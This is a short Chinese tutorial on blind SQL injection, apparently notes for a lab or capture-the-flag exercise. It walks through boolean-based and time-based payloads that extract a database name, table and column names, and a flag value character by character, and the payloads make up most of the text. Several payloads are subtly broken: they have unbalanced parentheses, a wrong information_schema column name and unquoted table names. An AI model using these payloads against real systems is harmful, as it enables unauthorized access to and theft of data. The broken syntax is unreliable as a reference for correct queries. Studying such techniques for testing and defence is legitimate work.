sql注入——盲注
一,盲注介紹
所謂盲注就是在服務器沒有錯誤回顯的時候完成注入攻擊。
盲注分為布爾盲注和時間盲注
布爾盲注:boolean 根據注入信息返回true or fales 沒有任何報錯信息
時間盲注:界面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
二,盲注需要掌握的函數
length()返回字符串長度
substr()截取字符串
substr(str,num,ptr)
ascii()返回字符串的ascii碼
sleep(n)將程序掛起n秒
if(exp1,exp2,exp3)判斷語句,如果第一個語句正確執行第二個,如果錯誤執行第三個語句
三,布爾盲注測試流程
1,猜解當前數據庫名稱長度
id=1'and (length(select database()))>8--+
2,利用ascii碼猜解當前數據庫名稱
and (ascii(substr(database(),1,1)))=115--+
返回正常,說明數據庫名第一位是s
and (ascii(substr(database(),2,1)))=101--+
返回正常,說明數據庫名第二位是e
3,猜表名
and (ascii(substr(select table_name from information_schema.tables where schema_name = database() limit 0,1),1,1)))=101--+
返回正常說明數據庫表名第一位是e
4,猜字段名
and (ascii(substr(select column_name from information_schema.columns where table_name = email limit 0,1),1,1)))=102--+
返回正常,說明email表中的列名第一位是f
5,猜內容
and ascii(substr(select flag from email limit 0,1),1,1)))=122--+
返回正常,說明flag字段內容第一位是z
四,時間盲注測試流程
1,首先判斷數據庫名長度
id=1'and (length(select database()))>8--+
2,利用if語句進行條件判定
and if(ascii(substr(database(),1,1))>120,1,sleep(10)--+
如果語句未延遲執行那么第一個語句成立,那我們可以依次往后判斷
時間盲注就是不停的利用語句查看運行的時間來判斷前面語句是否成立